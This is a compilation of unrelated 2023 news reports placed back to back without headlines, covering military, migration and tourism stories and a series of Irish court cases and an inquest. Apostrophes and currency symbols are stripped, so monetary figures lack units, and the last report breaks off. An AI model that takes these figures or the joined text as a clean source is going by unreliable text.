An airman has been killed in an automobile crash, the North Dakota National Guard announced Tuesday.

On behalf of the airmen and soldiers of the North Dakota National Guard, we offer our sincerest condolences to the family, friends and co-workers of 2nd Lt. Christopher Brewer, Maj. Gen. Al Dohrmann, North Dakota adjutant general, said in a statement. A true patriot, Christopher was the epitome of a citizen-airmen, serving his nation in uniform and his community as a teacher.

Brewer, 41, was killed Sunday in a two-vehicle accident on Highway 52 north of Velva, N.D., the North Dakota Highway Patrol said.

Brewer enlisted in the North Dakota Air National Guard in 2005 and served as an avionics technician with the 119th Maintenance Squadron, a personnel specialist with the 119th Force Support Squadron and the 219th Security Forces Squadron, and a first sergeant with the 119th Medical Group. He was commissioned as a second lieutenant in 2022 and served with the 219th Security Forces Squadron, Minot Air Force Base.

Our Hooligan family deeply mourns the loss of Christopher Brewer, said Col. Mitch Johnson, 119th Wing commander. Our thoughts and prayers are with him as we provide full support to his family, friends and fellow airmen. His loss is deeply felt within the North Dakota Air National Guard.

Brewer was a teacher at Bishop Ryan Catholic School in Minot.
FILE PHOTO: Colourful umbrellas are seen in a restaurant as tourists enjoy a beach in the island of Phuket in Thailand

BANGKOK (Reuters) - Thailand received 11.15 million foreign visitors in 2022, a surge from just about 428,000 the previous year when broad pandemic-related travel curbs were in place, tourism ministry data showed on Tuesday.

The figures, which beat the government's target, reflect a solid turnaround as Thailand tries to revive its vital tourism industry, which bore the brunt of its strict entry and quarantine policies during the pandemic.

In December, there were 2.24 million foreign tourists, compared with 230,497 in the same month a year earlier.

Pre-pandemic 2019 saw a record of nearly 40 million foreign tourists for the full year.

Malaysia, India and Singapore were Thailand's top three source markets last year, the ministry said.

In 2023, the government is expecting 25 million international visitors, including at least five million from China, Thailand's biggest source market before the pandemic.

The government on Tuesday approved a budget of 3.95 billion baht ($120.72 million) to boost domestic travel and international tourism in secondary cities.

China's reopening is expected to further boost Thailand's vital tourism sector, which before the pandemic accounted for about 12% of gross domestic product in Southeast Asia's second-largest economy.

($1 = 32.7200 baht)

(Reporting by Orathai Sriring; Editing by Martin Petty, Kanupriya Kapoor)
Allies with German-made Leopard battle tanks are welcome to start training the Ukrainian military to use them, Germanys top defense official said Tuesday.

Meanwhile, Berlin is inching toward a decision on sending its own Leopards to Ukraine, Defense Minister Boris Pistorius said.

His comments further eased concerns that Germany might block allies from sending their Leopard tanks to Ukraine. On Sunday, German Foreign Minister Annalena Baerbock said Germany would not stand in the way of other allies intentions to dispatch their Leopards to Ukraine.

Weapons contracts often contain language barring re-export without consent from the nation providing them.

Pistorius said NATO partner countries that have the German tanks can start training Ukrainian crews.

We are encouraging our partners, if they want to and if they have the possibility, to start on these Leopards if they wish to do so, Pistorius said. We are not stopping anyone.

Speaking at a news conference in Berlin alongside NATO Secretary-General Jens Stoltenberg, he sought to downplay the notion that Germanys hesitation on sending its own Leopards to Ukraine had caused a rift within the alliance.

We are not ununited, Pistorius said, according to a live NATO English translation. He confirmed that no final decision has been made on the tank issue but added that it could be made soon.

Still, German Chancellor Olaf Scholz has come under heavy criticism from some allies and in parts of his own government. They say he is moving too slowly on the issue.

Allies such as Poland have lashed out at Germanys position and its initial opposition to other NATO members sending their own German-made tanks.

The Polish government indicated last week that it was prepared to flout any requirements for German approval to export Leopards for use in the Russia-Ukraine war.

The situation has resulted in a growing perception in parts of NATO that despite having sent a wide range of other weaponry to Ukraine, Germany is an unreliable supporter of Kyiv.

On Tuesday, when asked whether the negative perception is a result of Scholzs failure to communicate Berlins position effectively, Pistorius demurred.

It is not my place to criticize the chancellors choice of words or style of communication, he said.

Meanwhile, Stoltenberg said he had discussed Leopard deliveries with Pistorius, and he talked up Germanys contributions thus far.

Germany is among the allies providing the most military, financial and humanitarian aid to Ukraine, Stoltenberg said, highlighting contributions such as the Gepard air defense system and a recent pledge to deliver advanced Patriot air defense systems and modern infantry fighting vehicles.

But Stoltenberg said more is still needed, even as the U.S. and other NATO members continue to send billions in military hardware to Ukraine.

At this pivotal moment in the war, we must provide heavier and more advanced systems to Ukraine, and we must do it faster, he said.
(Tribune News Service)  The Coast Guard on Sunday intercepted the 396 people near Cay Sal Bank, a remote island about 30 miles off the northern coast of Cuba, according to a statement released by the Bahamian Department of Immigration on Sunday night.

Sources had told the Miami Herald days before that the overloaded boat was likely headed toward the Florida Keys. Several overloaded Haitian freighters packed with people leaving Haiti have shown up off the coast of the island chain since November 2021.

Their arrivals coincide with an exodus from Cuba that began about two years ago but has increased significantly since the Christmas holidays.

The Coast Guard has intercepted more than 2,000 people from Haiti and 5,180 Cubans migrating by boat since the beginning of October.

Cay Sal Bank is among a group of uninhabited islands at the southern end of the Bahamas that are a frequent stopover for migrants from Cuba and Haiti on their way to South Florida.

Miami Herald staff writers Syra Ortiz-Blanes and Jacqueline Charles contributed to this report.



2023 Miami Herald.

Visit miamiherald.com.

Distributed by Tribune Content Agency, LLC.
This story has been corrected

More than 2,000 of Afghans, including some who fought the Taliban alongside American forces during 20 years of war, are among those hoping to claim asylum at the United States southern border.

Their plight is a tragic collision of dysfunctional U.S. military and immigration policies, analysts and advocates say.

U.S. Customs and Border Protection logged 2,177 encounters with Afghans on the southern border from October 2021 to the end of 2022, according to numbers provided to Stars and Stripes.

After arriving at the border, some Afghans are allowed entry and can reunite with family members as they wait for the resolution of their asylum cases.

Others are detained. Some 173 Afghans are in U.S. Immigration and Customs Enforcement custody as of Jan. 9, 2023, the agency said.

Among those detained is an Afghan soldier who walked from Brazil to Texas and whose case has drawn pleas from veterans groups and lawmakers asking for his release.

Abdul Wasi Safi, 27, served as an intelligence officer for the special operations corps of the U.S.-backed Afghan defense forces, according to a letter by his superior provided to Stars and Stripes.

Wasi, as he is known, feared retribution from the Taliban after the fall of the U.S.-backed government in Afghanistan in 2021. But he couldnt get aboard one of the flights out of Kabul during the chaotic evacuation that followed.

Wasi hopped between safehouses over the next year, a situation that pained the U.S. veterans in America who tried to bring him out of the country.

Lt. Wasi served shoulder-to-shoulder with U.S. special operations soldiers, said Daniel Elkins, who is founder of the Washington-based Special Operations Association of America. We know that more people would be buried in Arlington (National Cemetery) if not for people like Wasi.

Family members and veterans groups paid for Wasi to flee to Pakistan and then Brazil, according to the Texas Tribune, which began reporting on the issue in November.

In late July, Wasi flew to Sao Paulo and then three weeks later joined other migrants making the journey to the U.S., the Texas Tribune reported.

Wasi said he was robbed, tortured and beaten along the way, according to a Fox News report in December.

On Sept. 30, Wasi crossed the Rio Grande into the United States. Court documents state that he carried a letter of recommendation, his education records and a military ID.

His brother, a U.S. citizen living in Houston, said Wasi was expecting a heros welcome. Instead, Wasi was arrested when he tried to claim asylum and was charged with a federal crime for illegally entering the country.

He now sits in a jail cell in Eden, Texas.

Inherent contradictions

Immigration advocates and analysts as well as Wasis lawyers say the case illustrates inherent contradictions in American asylum policies.

The U.S. allows people from other countries to seek protection within its borders if they have suffered persecution or fear that they will be persecuted in their home countries.

Asylum seekers must be physically present in the United States. Those who were evacuated during the U.S. military airlift in 2021 could request asylum upon arrival in America.

But those still in Afghanistan must find another way there.

Everyone is angry that people are going to the southern border, but that's the way to do it, said Jennifer Cervantes, an immigration lawyer representing Wasi.

The U.S. asylum system is outdated, said Adam Isacson, a director at the human rights group Washington Office on Latin America.

Border protection agency authorities said they logged more than 2 million people along the border during fiscal year 2022, a record high.

The U.S. released a plan in December to surge nearly 1,000 Border Patrol processing coordinators for asylum seekers, a CNN report then said.

Nevertheless, the U.S. has failed to adjust to todays greater demand and changing needs at the border, Isacson said.

A typical migrant was once judged to be a single Mexican adult looking for work, not someone with a credible claim of fear, Isacson said.

Just 15% of migrants at the U.S. southern border came from countries other than Mexico in 2012, but that number rose to 80% of migrants in 2019, according to research published in November by Isacsons organization. These migrants come from other countries in Central America as well as Eastern Hemisphere countries such as Ukraine, Uzbekistan and Afghanistan.

The main connection between asylum seekers of different nationalities is that all find themselves caught up in our Kafkaesque, backlogged, underfunded asylum system, Isacson said.

Exile in Mexico

Hundreds of Afghans began arriving in Mexico during the evacuation in 2021, said Daniel Berlin of the New York-based International Rescue Committee.

Some had their visa applications processed and are now living in the U.S. or Canada. But others were stuck waiting for months, Berlin said.

Afghans also were not allowed to work, Berlin said, and had to rely on donations from family and charity organizations.

The group now maintains a community center in Mexico City where anywhere from 60 to 100 Afghan migrants pass through, Berlin said.

He said hes heard a lot of people wondering whether they should try to cross into the U.S. without any paperwork.

We try to dissuade anyone from doing that, Berlin said. Its very dangerous.

Last year was the deadliest on record for migrants trying to cross the U.S.-Mexico border, with more than 800 drownings and other fatalities, NPR reported in September.

But Berlin said he understands why people decide to risk their lives to try to get to America.

Theres not a lot of clear pathways for Afghans, many of whom were promised by the U.S. to enter, Berlin said. These processes are not working, and thats causing people to take risky decisions.

The luck of the draw

A person's fate at the border can be decided by something as unpredictable as the mood of the agent processing them, said Giedre Stasiunaite, a Miami-based immigration attorney who has worked on cases for Afghans and others.

They may be deported immediately, put in detention or allowed into the country to begin their asylum claims.

The most confusing thing to me and to other people is the lack of consistency, Stasiunaite said. It shouldnt be the luck of the draw, and unfortunately it is.

Wasi landed in what The Associated Press in 2017 called America's toughest courthouse when it comes to dealing with people who cross the border illegally.

Its rare for asylum seekers to be charged, but the U.S. Western District Court in Del Rio, Texas, prosecutes many of those who are arrested, the AP report said.

Wasis supporters say he will be killed if he is sent back to Afghanistan but until his criminal case is finished, we can't move forward with ICE, said Cervantes, his immigration lawyer.

Wasis supporters hope his court case will be dropped. Among them are two dozen veterans groups who wrote a letter on his behalf in December, as well as U.S. representatives Dan Crenshaw, a Texas Republican; Sheila Jackson Lee, a Texas Democrat; and Michael Waltz, a Florida Republican.

Hes terrified, lonely and definitely feels forgotten, Elkins said, adding that Wasi needs medical attention for injuries from the beatings he received on his journey.

Sami-ullah Safi, Wasis brother, hopes he can host him at his home in Houston. Safi, 29, once worked as a translator for American troops before receiving a Special Immigrant Visa.

He said his experiences with the asylum program on the southern border have jarred his beliefs about his new home.

My brother and I have stood shoulder-to-shoulder with the United States Armed Forces in Afghanistan, Sami-ullah Safi said in a text message. We have risked our safety and our familys safety to fight terrorism.

For my brother to show up to the American border and be treated like a criminal and jailed for unknown reasons, defies everything I have ever known about America.
Luke Yates (21) has been in 23 hour lockup since O'Connor was beaten to death in prison

The co-accused of a man who died from injuries sustained in a violent prison cell attack last July has been sentenced to a two and half year prison term.

Luke Yates (21) was before Dublin Circuit Criminal Court after pleading guilty to attempting to impede the arrest of Robert O'Connor (34) during an incident in north Dublin on the night of October 12, 2021.

O'Connor of Snowdrop Darndale in Dublin, died in hospital after sustaining head injuries in a group attack. He was attacked two days after he was sentenced for his involvement in the incident outlined on Monday.

In his evidence Detective Garda Sean Kelly told John Moher BL, prosecuting, that he was in a patrol car when he spotted Yates and O'Connor running along the road.

He said he followed the two men and observed both the suspects removing a top layer of their upper clothing to reveal another top.

Gardai moved in and stopped O'Connor who was holding a Tesco shopping bag with a semi-automatic pistol which had four rounds in the magazine and one in the breach. O'Connor later pleaded guilty to unlawful possession of firearms and last July 27, he was jailed for six and a half years.

He was fatally attacked 48 hours later and died five days later in the Mater hospital.

At a sentence hearing on Monday Cathleen Noctor SC, defending, told Judge Martin Nolan that her client, Yates, has been in 23 hour lockup in custody since the fatal attack on O'Connor.

She said that after his arrest O'Connor told gardai that he was moving the firearm to discharge a drug debt. She said her client had no knowledge of what was in the bag, which was in O'Connor's possession at all times in the night.

Last November Yates of Maplewood Avenue, Springfield, Tallaght, Dublin pleaded guilty to assisting an offender by acting to impede the arrest of O'Connor by endeavouring to escape on foot.

The court heard that Yates' previous convictions include seven for sale or supply of drugs, two for hit and run, three for possession of a mobile phone in custody and seven for dangerous driving.

Ms Noctor told the court that some of these offences were committed when her client was still a minor.

Judge Nolan said it was a serious offence to impede the arrest of a suspect. But he noted as mitigating factors the plea of guilty and Yates' age at the time.

He imposed a prison sentence of two and a half years to date from October 12, 2021. He said he was also taking into consideration the fact that Yates is on lockup in prison.
It is claimed she had to jump from a deck on the yacht during the alleged incident to avoid being assaulted further, that she made her way to another boat and was then taken to hospital.

A woman is taking a civil action against Conor McGregor amid claims her arm was broken during an assault on his yacht.

The High Court is due to hear an application from Dubliner Samantha Murphy for an order requiring the mixed martial arts star to preserve evidence relating to the alleged incident.

Ms Murphy claims she was hospitalised after being attacked on Mr McGregors boat while it was moored off the Balearic island of Formentera last July.

The application, listed for a date next month, will seek the preservation of any CCTV, camera phone footage, and other relevant material relating to the alleged incident for the purposes of an intended personal injuries action.

Ms Murphy was in Ibiza for a party celebrating Mr McGregors 34th birthday.

Mixed martial arts fighter Conor McGregor. Photo: Reuters/ Mike Blake   REUTERS

She claims that the assault occurred after the party when she and several other people were invited back to the former UFC champions luxury yacht in the early hours of the morning.

Injuries cited in her case include a broken arm and extensive bruising.

It is claimed she had to jump from a deck on the yacht during the alleged incident to avoid being assaulted further, that she made her way to another boat and was then taken to hospital.

A Spanish criminal investigation ended soon after the incident when Ms Murphy returned to Ireland without making a statement.

However, it was recently reopened after a statement provided by Ms Murphy to gardai in Dublin was translated and forwarded to authorities in Spain.

Her solicitor, Alvaro Blasco, said a Spanish court had ruled that the criminal case be reopened.

I can confirm an application has been issued in the High Court in connection with an alleged assault in Formentera, Mr Blasco told the Irish Independent.

The purpose of the application is for the preservation of evidence and relevant material information.

There is also a criminal investigation ongoing in Spain. I am not in a position to comment any further.

If granted, the application would require Mr McGregor to preserve any relevant or material evidence that would assist in the determination of the issue of liability for the alleged injuries.

In a statement, Mr McGregors spokesperson Karen Kessler told the Irish Independent: Mr McGregor is steadfast in his denial of all the accusations made by a guest on his boat.

Mr McGregor, who was named by Forbes as the worlds highest earning sportsperson in 2021, has been embroiled in litigation recently.

Last November, Artem Lobov (36), a former close friend of Mr McGregor, sued him for millions of euro in a row over the development of the MMA stars hugely successful Irish whiskey brand.

Mr Lobov, a retired Russian-born fighter and long-time training partner of Mr McGregor, alleges he was instrumental in developing the brand that became known as Proper No. Twelve but ended up receiving nothing for his efforts.

Mr McGregor has denied there was a deal under which Mr Lobov was to receive 5pc of the proceeds from the whiskey project.

The following month the High Court rejected an application by Mr Lobov for orders requiring Mr McGregor to take down allegedly defamatory social media posts about him.

In a separate case, the High Court last year ordered gardai to disclose certain documents to a woman who sought them for a personal injuries case against Mr McGregor and one of his associates arising out of an alleged incident in December 2018.
Judge Codd said Tallaght man David Wright (36) allowed his employer to be fed to the wolves

David Wright, 36yrs, of Allenton Way, Tallaght, Dublin, pictured at the Criminal Courts of Justice (CCJ) on Parkgate Street in Dublin for his sentence hearing. Pic: Paddy Cummins/PCPhoto.ie   Paddy Cummins - PCPhoto.ie

David Wright, 36yrs, of Allenton Way, Tallaght, Dublin, pictured at the Criminal Courts of Justice (CCJ) on Parkgate Street in Dublin for his sentence hearing. Pic: Paddy Cummins/PCPhoto.ie   Paddy Cummins - PCPhoto.ie

A professional poker dealer, who was the inside man for the robbery of 50,000 from a casino where he worked, has walked free from court after being handed a fully suspended prison sentence.

David Wright (36) of Allenton Way, Tallaght, South Dublin pleaded guilty to stealing the cash and 700 worth of cigarettes at Mount St Upper, Dublin 2 on August 13, 2018.

Imposing sentence at Dublin Circuit Criminal Court, Judge Pauline Codd said Wright had betrayed his employer to individuals who wished to rob them.

This was a breach of trust of a significant nature, she said.

She said while Wright was afraid of these individuals and not involved in the actual robbery, it was reasonable for him to have foreseen that threats of violence may be made. Judge Codd said Wright allowed his employer to be fed to the wolves instead of warning them of the planned robbery.

She said she would reluctantly impose a suspended prison sentence, given the amount of time since this offending and Wright's efforts to rehabilitate himself.

Judge Codd handed Wright a four-year sentence, suspended on strict conditions including that he keep the peace and be of good behaviour.

Garda Fiona Deevey said that at around 6.30pm, an employee of the cash and carry business JR Byrne was delivering cash and cigarettes to the Fitzwilliam Card Club in Dublin 2.

David Wright, 36yrs, of Allenton Way, Tallaght, Dublin, pictured at the Criminal Courts of Justice (CCJ) on Parkgate Street in Dublin for his sentence hearing. Pic: Paddy Cummins/PCPhoto.ie   Paddy Cummins - PCPhoto.ie

The court heard that most of the time the injured party used his own BMW to deliver the cash by arrangement and he had a key fob to gain entry to the casino. Wright was at the time a poker dealer working on the same floor as the cash office.

The injured party was walking towards the casino when he saw a man jogging towards him. He took this man for a jogger until the man jumped at him and tried to grab the box. The injured party held on and there was a struggle.

The raider, who is not before the courts, then told the injured party to let go of the box or I'm going to kill you. He put his hand in his pocket but left it there and the injured party continued to hold the box.

The raider tripped the victim and he fell back and let go of the box and the raider ran off.

A garda investigation identified two vehicles involved in the robbery, a Silver Saab which was used as the getaway car and a Skoda Octavia which brought the raider to the scene.

The Octavia was found to be registered to Wright. Both cars were observed on CCTV driving in convoy towards the scene before the robbery, with Wright driving the Octavia.

Wright's banking activities were investigated and cash lodgements of 2,500 and 1,100 were seen to be made in the weeks after the hold up. Investigations also showed Wright was on duty on various occasions when the injured party had previously made his cash deliveries.

Gardai arrested Wright and he was very forthcoming and extremely remorseful, the court heard. He told gardai he regretted getting involved in the crime and said he would like to say sorry to the victim.

He said that a friend, whose name he gave to gardai, approached him and asked him to provide information about the movement of cash into the casino.

He pleaded guilty to theft at a very early court date. Garda Deevey said that none of the money has been retrieved and that nobody else has yet been prosecuted.

Wright, who became a father since the robbery, has only minor previous convictions for road traffic offences.

Anne Marie Lawlor SC, defending, told the court while her client was never physically threatened, he felt he had no choice except to give the information he was asked to give to the man who would later carry out the robbery. She said her client was not charged with robbery and that he was simply a cog and a lackey for others.

She said he was naive and failed to apprehend that there was to be a violent robbery. Ms Lawlor said her client had brought 1,200 to court, and a further amount would be available in early February.

The Probation Service had deemed Wright to be at low risk of re-offending and he has not come to garda attention since this incident, she said.

Judge Codd said she took Wright's guilty plea, his expressions of remorse and the positive probation report into account as mitigating factors. She directed 1,200 to be paid by Wright and a further 1,800 handed over within six months.
He is accused of assault causing harm to the injured officer and theft of two cans of the Red Bull soft drink worth 6 from a shop.

A FORKLIFT driver accused of causing permanent and life-long lasting deformities to a gardas finger following a traffic stop in Dublin has been granted 1,500 bail.

Gardai responded to a call about a driving incident at Gullivers Retail Park, Ballymun, at approximately 11:30 am on Saturday.

Mercedes driver Daniel Quinn, 32, with an address at Farnham Drive, Finglas Ballymun Garda station, was arrested and charged.

He was held pending his appearance before Judge Treasa Kelly at Dublin District Court yesterday.

He is accused of assault causing harm to the injured officer and theft of two cans of the Red Bull soft drink worth 6 from a shop.

He was also charged with dangerous driving, criminal damage to a roadside steel bollard allegedly hit by the defendants Mercedes, and a garda station cell door and blanket with urine.

The wounded officer was taken to James Connolly Hospital in Blanchardstown.

Mr Quinn applied for bail, which was opposed by investigating officer Garda Sergeant Aidan Monaghan.

The sergeant cited the seriousness of the incident and alleged the accused was caught red-handed assaulting an officer on duty. He furnished the court with photos of the injury, which he described as life-long lasting deformities to his finger.

The sergeant later described the injuries as permanent and said their full extent was unknown.

The court heard other gardai witnessed the incident, and there was CCTV evidence.

It was alleged that the accused hit a bollard and failed a roadside drug drive test which had results for cocaine, cannabis and benzodiazepine.

He conceded that if the court granted bail, he would seek conditions.

Defence solicitor Tracy Horan argued that the threshold had not been reached to deny bail, and she said the State was on shaky ground while her client had the presumption of innocence.

Judge Kelly held with the defence and set bail in the defendants bond of 500, of which 300 must be lodged.

Furthermore, she sought a 1,000 independent surety.

The sergeant clashed with the defence about the bail money and a Garda station where the accused would sign on. He cited other cases involving alleged attacks on gardai where bail was set at 10,000.

In reply, however, Ms Horan argued that was not correct case law and that the court had to consider the defendants means.

The court heard the accused worked as a forklift driver but had been off sick and getting social welfare since before Christmas.

She also said that there were a lot of heightened emotions.

The court heard he was due to return to work and earn 450 a week.

The sergeant claimed Mr Quinn had three cars, an Audi, a BMW and a Mercedes, which was the subject of this case.

Ms Horan told the court she was flabbergasted at this evidence and added that it had not been brought to her attention before. Mr Quinn interjected and told the court some of the cars had been scrapped.

During the exchanges, the sergeant said it was expected that the DPP would direct trial on indictment in a higher court.

The assault offence can carry a maximum five-year term, but the court heard that further charges could be brought.

The sergeant also told the court that the driving had caused serious risk of harm to members of the public.

The defence told the judge the accuseds partner, who was in court, was heavily pregnant; she intended to stand bail. He would reside with her at an address in Northwood, Santry, in north Dublin.

Judge Kelly did not change the bail amount and ordered the accused to sign on daily at Finglas Garda station, not drive any motor vehicle, reside at the new address provided to the court and surrender his passport.

She remanded him in custody with consent to bail on these terms to appear at Cloverhill District Court on Wednesday.

Mr Quinn, who has yet to indicate a plea, was granted legal aid.
It really is so sad. It was only when it was said that he had passed away that I realised I hadnt seen him in quite a while

The home where Ray King was found dead in Balla, Co. Mayo. Photo : Keith Heneghan   Photo : Keith Heneghan / Phocus

Gardai searching for relatives of a reclusive English man who lay dead in his house for weeks have been unable to trace any next of kin.

The remains of Ray King (57), of Woodlands, Balla, Co Mayo, were discovered in a severe state of decomposition on November 30 last year.

At an inquest yesterday, coroner for Mayo Pat OConnor, sitting in Swinford Courthouse, heard gardai were forced to break in to the property after a neighbour raised concerns.

Garda Nicola Flesk, of Castlebar garda station, discovered Mr Kings body under a duvet on the living room couch.

She told the inquest that rubbish, including empty bottles of alcohol and food waste, was piled waist-high in the house to such an extent there was no space to move freely inside the property.

She told how she visited the property following a report from a neighbour who said he had not seen Mr King for about three weeks.

The neighbour said he had noticed lights on in the property all night and found this unusual.

Gda Flesk found Mr King lying on his back on the couch in an advanced state of decomposition.

He was covered in a duvet from the hips down, and he was decomposed underneath, she said.

The house was unkempt. There was rubbish piled waist-high and no place to walk freely.

The rubbish consisted of empty bottles of alcohol and food waste, she said.

Gda Flesk contacted the local GP, Dr Jimmy Broderick, who pronounced Mr King dead.

His remains were moved to the mortuary at Mayo University Hospital in Castlebar.

The inquest found that despite extensive efforts by Gda Flesk, no relatives or next of kin of Mr King have been found.

The inquest heard it is believed Mr King arrived in Ireland from the UK about five years ago. He initially lived in Galway but then moved to Mayo, where he was housed by the local authority.

A request was sent through Interpol to track down relatives but this proved fruitless.

The deceased did not list a next of kin in any documentation he supplied to Mayo County Council while looking for housing.

Gda Flesk discovered that Mr King had once been admitted to Mayo University Hospital and listed a Sheila King with an address in Nottingham as his next of kin. However, no person of that name was found at that address.

All avenues have been exhausted with the little information known about Mr King returning a negative result, she told the inquest.

I made local inquiries, and he was reported to be a recluse, preferred his own company and did not engage with the local community, she added.

The findings of the post-mortem examination were read into the record by pathologist Dr Tamas Nemeth.

The inquest heard Mr King was a 57-year-old single man who was unemployed.

His medical history included alcohol abuse, smoking and chronic obstructive pulmonary disease (COPD).

Examination of his remains proved difficult owing to the severe decomposition of the skin and internal organs.

There were no signs of injuries or foul play.

Dr Nemeth said the cause of death was natural and, based on clinical history, was most likely due to chronic obstructive airway disease.

It was difficult to give an estimated time of death in cases like Mr Kings, he said.

He said pathologists often have to rely on the size of insect larvae, but it was not an exact measure.

In Mr Kings case, he estimated he was dead for between three and four weeks.

He was buried by Mayo County Council in Castlebar graveyard.

Neighbours of Mr King in the Woodlands estate spoke of their sadness at the circumstances of his death.

One neighbour described the Englishman as polite but solitary.

He was a loner. He never really bothered with anybody. He stuck to himself. I just knew him to see, really. He had an English accent, he said.

He did speak to one neighbour but never really bothered with anyone else.

Another woman said she often saw him walking to and from the shop.

Its so sad they havent found his family. I heard he did live in Foxford [near Ballina] for a while before he came here.

I know he used to drink a lot, but he never caused trouble. He rarely spoke at all.

It really is so sad. It was only when it was said that he had passed away that I realised I hadnt seen him in quite a while.

We have a residents committee here, but he never came to any meetings, and he was invited. God love him.

Mr OConnor praised the work of Gda Flesk and acknowledged how challenging the experience must have been for her and all those who attended at the scene, including members of the fire brigade and Dr Broderick.
When Burke reached the school, he was confronted by principal Frank Milling, who said: "Stop. Stop. Get off the property".

A statement issued on Enoch Burke's behalf said his employment at Wilson's Hospital School in Multyfarnham had been terminated. Photo: Gerry Mooney

Enoch Burke is taken away from Wilsons Hospital School by gardai Picture; Gerry Mooney

Teacher Enoch Burke has returned to Wilsons Hospital School after being released this afternoon without charge following his arrest for alleged trespass this morning.

He was initially unable to regain entry this afternoon as the gates were locked. But he entered the property when the gates were opened to allow a bus in.

When Burke reached the school, he was confronted by principal Frank Milling, who said: "Stop. Stop. Get off the property". However, Mr Burke remained where he was.

Gardai were called to the school this morning after the dismissed teacher showed up at the premises shortly after 8.30am. Officers arrived around 11.15am.

Mr Burke was arrested in the school courtyard after being denied entry to the building.

At around 12.30pm he was taken in the back of an unmarked garda vehicle and brought to Mullingar Garda Station.

Enoch Burke is taken away from Wilsons Hospital School by gardai Picture; Gerry Mooney

Read more Enoch Burke makes a speech outside school

But he emerged from the garda station shortly before 2pm and immediately returned to the school near Multyfarnham, Co Westmeath.

A garda statement said: A male was arrested under the Public Order Act 1994 and taken to Mullingar Garda Station.

He has subsequently been released pending the submission of a file to the Office of the Director of Public Prosecutions.

On his return to the school, Mr Burke was unable to gain entry as the front gates were locked.

A message sent to parents informed them that the gates were locked for security purposes.

It said the situation was controlled and advised them to delay collection of their child until a later time than usual.

Enoch Burke outside Wilson's Hospital School. Photo: Gerry Mooney

However, when the gates opened to allow a vehicle in, Mr Burke followed and walked up the driveway.

It is understood gardai have again been called to the school.

Speaking to reporters at the gates, Mr Burke claimed he had been wrongfully arrested for trespass.

"I have broken no laws. I have done nothing wrong, he said.

Read more Enoch Burke turns up at school days after being dismissed from teaching post

He said gardai had spent 45 minutes in the principals office and then came down to arrest him.

"A decision already made without even observing the situation. That is something that is really, really wrong and regrettable that that would happen and absolutely disgraceful. I have said as much to the gardai, he said.

Therefore, I am back here and we have this situation now.

Mr Burke had turned up at the school this morning, days after he was dismissed following chaotic scenes at a disciplinary meeting.

Mr Burke arrived in an SUV driven by his father.

His father then came out the school gates around five minutes later and drove away, but Enoch Burke remained at the school.

Two uniformed gardai arrived at the school in an unmarked car and were met at the school door by principal Frank Milling.

They later drove Mr Burke away from the school in the back of the garda car, followed closely by his father, Sean.

Sean Burke collected his son after Enoch Burke was released and drove him back to the school.

Mr Burke was dismissed from his post at Wilsons Hospital School late last week.

A statement on Friday on his behalf to the Irish Independent confirmed his employment had been terminated.

The move came a day after a disciplinary meeting attended by the teacher and members of his family descended into chaos.

Gardai were called to the meeting, held by the schools board of management, after Mr Burke, his mother Martina, sister Ammi and brother Isaac loudly objected to the presence of two lawyers and the absence of the boards chairman.

The statement said Mr Burke had attended Wilsons Hospital School on Friday.

He was informed in person at 3:30pm this afternoon in the presence of chairperson of the board of management John Rogers and principal Frank Milling that he was dismissed, the statement read.

The brief statement again highlighted Mr Burkes objection to the presence of the lawyers and Mr Rogers absence from the disciplinary meeting.

Mr Burke, an evangelical Christian, was suspended last August following incidents in which he clashed with school management over a request to call a transgender pupil by a new name and to use they/their pronouns in connection with the child.

He said that to do so would violate his religious beliefs.

Despite being suspended, he continued to show up for work, even after the school secured High Court orders restraining him from doing so.

This led to him being jailed for 108 days for contempt of court.

Despite refusing to purge his contempt he was eventually released from Mountjoy just before Christmas and was warned by a judge he could find himself back behind bars or have his assets sequestered if he breached orders again.

A statement issued on Enoch Burke's behalf said his employment at Wilson's Hospital School in Multyfarnham had been terminated. Photo: Gerry Mooney

However, he resumed showing up at the school in Multyfarnham, Co Westmeath on January 5. While in the school he was confined to a corridor and kept away from students.

Although Thursdays meeting was held in private, the Burkes could be heard from the hallway outside the conference room at the Mullingar Park Hotel shouting and repeatedly chanting: Chairperson John Rogers must be present at this meeting, Where is the chairperson? and Its a sham. Its a cover up.

Mr Rogers had been unable to attend due to a medical issue. When the meeting ended, two gardai were present to escort some of those present out of the hotel.

However, the Burkes proceeded to follow Mr Milling and others out of a restaurant exit, pursuing them along the driveway in front of the hotel and then back into the hotels lobby, loudly berating them throughout.

The school did not comment on the outcome of the meeting.

While Mr Burke has now been dismissed, it is far from the end of the matter.

The High Court is set to rule next week on an application for the sequestration of his assets for ongoing contempt.

A legal action taken by the school against Mr Burke is due to be heard in the coming months, as is a counterclaim in which he alleges his suspension was flawed and unlawful.

The Court of Appeal is also due to hear Mr Burkes appeal against various High Court orders next month.
Ms Justice Eileen Creedon noted Bajo Ziflai (22) has shown no remorse or acknowledged the harm he caused the woman

A man who repeatedly raped a woman he met on a dating website after giving a false name has been jailed for nine years.

Bajo Ziflai (22) was found guilty by a jury of four counts of raping the 23-year-old woman and one count of sexually assaulting her at an address in Co Galway following a Central Criminal Court trial in July last year. He was 20 years old at the time of the attack.

Sentencing him on Monday Ms Justice Eileen Creedon noted Ziflai has shown no remorse or acknowledged the harm he caused to the woman on the night in question. He does not accept the verdicts of the jury and continues to maintain the woman made up the allegations because she was attention seeking.

Ziflai, with an address at Lacken Valley, New Ross, Co Wexford, has no previous convictions. He has been in custody since shortly after the attack.

The court heard Ziflai met the woman on a dating website and gave her a false name. They arranged to meet at a house and she was driven there by her mother. She told him in advance they would not be having sex, the court heard.

Despite this, Ziflai raped the woman four times and sexually assaulted her before she managed to leave the house and call her mother.

Ms Justice Creedon noted the attack was pre-meditated by Ziflai, who gave the woman a fake name. She noted the attack had a significant impact on the woman, who has suffered with PTSD and depression as a result.

Because he refuses to acknowledge his wrong-doing and, accordingly, has not expressed any remorse for his actions that night, Ms Justice Creedon said there was no mitigation open to Ziflai.

She noted he has no previous convictions, is still a young man and has a long life ahead of him upon his release from prison.

The judge handed down a 10-year jail sentence, and suspended the final year on a number of conditions. Ziflai will be placed on the Sex Offenders Register.

A local garda told Edward Doocey BL, prosecuting, that the woman messaged Ziflai to say that while she intended to stay overnight, there would be no sexual activity between them.

She later told gardai that they were conversing over Snapchat and Ziflai acknowledged the womans message and replied OK.

She arrived at the house with pizza, fizzy drinks, crisps and sweets. There was consensual kissing between the pair before Ziflai showed the woman to the bedroom. He asked her if she wanted to have sex and she replied no.

